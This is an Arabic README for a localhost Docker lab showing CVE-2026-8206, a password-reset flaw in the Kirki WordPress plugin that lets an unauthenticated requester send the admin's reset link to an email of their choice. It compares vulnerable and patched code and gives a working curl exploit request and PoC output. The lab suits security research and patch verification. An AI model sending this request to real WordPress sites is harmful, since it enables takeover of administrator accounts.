
مختبر Docker محلي يُظهر ثغرة CVE-2026-8206 للاستيلاء على الحساب بدون مصادقة في إضافة Kirki لووردبريس. يقارن بين الإصدار الضعيف 6.0.6 والإصدار المُصحح 6.0.7 مع سكربت إثبات المفهوم (PoC) والتحقق من البريد الإلكتروني الملتقط.
مختبر Docker محلي لعرض CVE-2026-8206 في إضافة Kirki لووردبريس.
يقارن هذا المستودع إصدارات إضافة Kirki الحقيقية:
vuln: Kirki 6.0.6patched: Kirki 6.0.7المختبر محلي فقط ويربط خدمات ووردبريس بـ 127.0.0.1.
إثبات المفهوم (PoC) هو الأقل ضررًا: يطلب إعادة تعيين كلمة المرور ويتحقق من مستلم البريد الإلكتروني الملتقط داخل المختبر. لا يقوم بتغيير أي كلمة مرور.
CVE-2026-8206 هي ثغرة استيلاء على الحساب / تصعيد صلاحيات غير مصادق عليها في إصدارات Kirki من 6.0.0 إلى 6.0.6.
يقوم معالج إعادة تعيين كلمة المرور الضعيف بإنشاء مفتاح إعادة تعيين لمستخدم ووردبريس حقيقي يتم اختياره عبر username، ولكنه يرسل بريد إعادة التعيين إلى عنوان بريد إلكتروني عشوائي يتم توفيره في الطلب.
في هذا المختبر:
ضعيف => يتم إرسال رابط إعادة التعيين الخاص بـ admin إلى [email protected]
مصحح => يتم رفض البريد الإلكتروني غير المتطابق ولا يتم إرسال بريد إعادة التعيين إلى [email protected]
6.0.0 إلى 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
المعامل الضعيف هو:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
يقرأ Kirki البريد الإلكتروني المقدم من المهاجم من نص الطلب:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
ثم يقوم بحل مستخدم ووردبريس المستهدف عبر اسم المستخدم وينشئ مفتاح إعادة تعيين كلمة المرور لذلك المستخدم:
$key = get_password_reset_key( $user );
ولكن يتم إرسال بريد إعادة التعيين النهائي إلى $email المقدم في الطلب:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
هذا يكسر حد الثقة بين هوية الحساب ومستلم البريد الإلكتروني لإعادة التعيين. يمكن لمقدم طلب غير مصادق عليه تقديم:
username=admin
[email protected]
مفتاح إعادة التعيين يخص admin، ولكن يتم تسليم البريد الإلكتروني إلى عنوان يتحكم فيه المهاجم.
يتحقق Kirki 6.0.7 من أن البريد الإلكتروني المقدم يطابق البريد الإلكتروني المسجل للمستخدم المُستخرج، ثم يفرض أن يكون المستلم هو بريد الحساب قبل الإرسال:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
يتم التقاط البريد المحلي في ملفات بدلاً من إرساله خارجيًا:
artifacts/vuln-mail/
artifacts/patched-mail/
يستخدم المختبر إصدارات حقيقية من إضافة Kirki مثبتة عبر WP-CLI. لم يتم تعديل مصدر الإضافة.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requestsتثبيت اعتماديات Python إذا لزم الأمر:
python3 -m pip install requests
شغّل الحاويات:
docker compose up -d --build
ازرع كلا مثيلَي ووردبريس:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
شغّل إثبات المفهوم:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
النتيجة المتوقعة:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
يثبت هذا أن الإصدار الضعيف أرسل بريد إعادة تعيين كلمة المرور للحساب المستهدف إلى عنوان يتحكم فيه المهاجم.
النتيجة المتوقعة:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
يثبت هذا أن الإصدار المُصحَح يرفض عدم تطابق اسم المستخدم/البريد الإلكتروني ولا يرسل بريد إعادة التعيين إلى عنوان يتحكم فيه المهاجم.
أنشئ nonce الصحيح لعنصر Kirki داخل المختبر الضعيف:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
أرسل طلبًا محليًا فقط إلى الخدمة الضعيفة:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
تحقق من البريد الملتقط:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
الدليل الضعيف المتوقع:
To: [email protected]
... action=rp ... login=admin ...
هذا المختبر مخصص للبحث الأمني المحلي وعرض المحفظة فقط.
ضوابط الأمان:
127.0.0.1 فقط.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| الخدمة | الغرض | رابط المضيف |
|---|
vuln | ووردبريس + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | ووردبريس + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL لووردبريس الضعيف | شبكة Docker فقط |
db_patched | MySQL لووردبريس المُصحَح | شبكة Docker فقط |
wpcli_vuln | يزرع ووردبريس الضعيف | إعداد لمرة واحدة |
wpcli_patched | يزرع ووردبريس المُصحَح | إعداد لمرة واحدة |